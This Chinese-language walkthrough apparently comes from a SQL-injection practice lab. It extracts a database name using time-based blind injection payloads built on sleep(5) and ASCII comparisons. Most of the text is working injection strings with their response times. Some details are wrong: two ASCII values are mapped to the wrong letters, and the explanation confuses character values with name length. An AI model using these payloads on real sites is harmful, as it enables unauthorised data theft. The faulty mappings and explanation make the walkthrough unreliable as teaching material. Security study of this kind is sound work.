求数据库名:
输入id:1' and if(ascii(substr(database(),1,1))>125,0,sleep(5)) %23 错误,反应时间长(5s)
输入id:1' and if(ascii(substr(database(),1,1))<125,0,sleep(5)) %23 正确,反应时间长(0s)
输入id:1' and if(ascii(substr(database(),1,1))<105,0,sleep(5)) %23 错误,反应时间长(5s)
输入id:1' and if(ascii(substr(database(),1,1))<115,0,sleep(5)) %23 错误,反应时间长(5s)
输入id:1' and if(ascii(substr(database(),1,1))=115,0,sleep(5)) %23 ,反应时间长(0s),第一个ascii值:s;
输入id:1' and if(ascii(substr(database(),2,1))=101,0,sleep(5)) %23 正确,反应时间长(0s),第二个ascii值:e;
输入id:1' and if(ascii(substr(database(),3,1))=99,0,sleep(5)) %23 正确,反应时间长(0s),第三个ascii值:c;
输入id:1' and if(ascii(substr(database(),4,1))=117,0,sleep(5)) %23 正确,反应时间长(0s),第四个ascii值:u;
输入id:1' and if(ascii(substr(database(),5,1))=114,0,sleep(5)) %23 正确,反应时间长(0s),第五个ascii值:r;
输入id:1' and if(ascii(substr(database(),6,1))=105,0,sleep(5)) %23 正确,反应时间长(0s),第六个ascii值:i;
输入id:1' and if(ascii(substr(database(),7,1))=115,0,sleep(5)) %23 正确,反应时间长(0s),第七个ascii值:t;
输入id:1' and if(ascii(substr(database(),8,1))=115,0,sleep(5)) %23 正确,反应时间长(0s),第八个ascii值:y;
这是通过观察当数据库名长度>125时的网页加载的时间长短来判断数据库名首字母的ASCII值。
短箭头是网页加载的动态,长箭头指向的0,sleep(5)是如果数据库名长度>125错误时,反应时间是5秒;如果数据库名长度>125正确时,反应时间是0秒。
短箭头是网页加载的动态,长箭头指向的0,sleep(5)是如果数据库名长度<125错误时,反应时间是5秒;如果数据库名长度<125正确时,反应时间是0秒。
通过以上折半查找方法逐渐缩小正确值的范围来确定数据库名的第一个字符的ASCII的正确值,依次用这种方法求出最终的数据库名。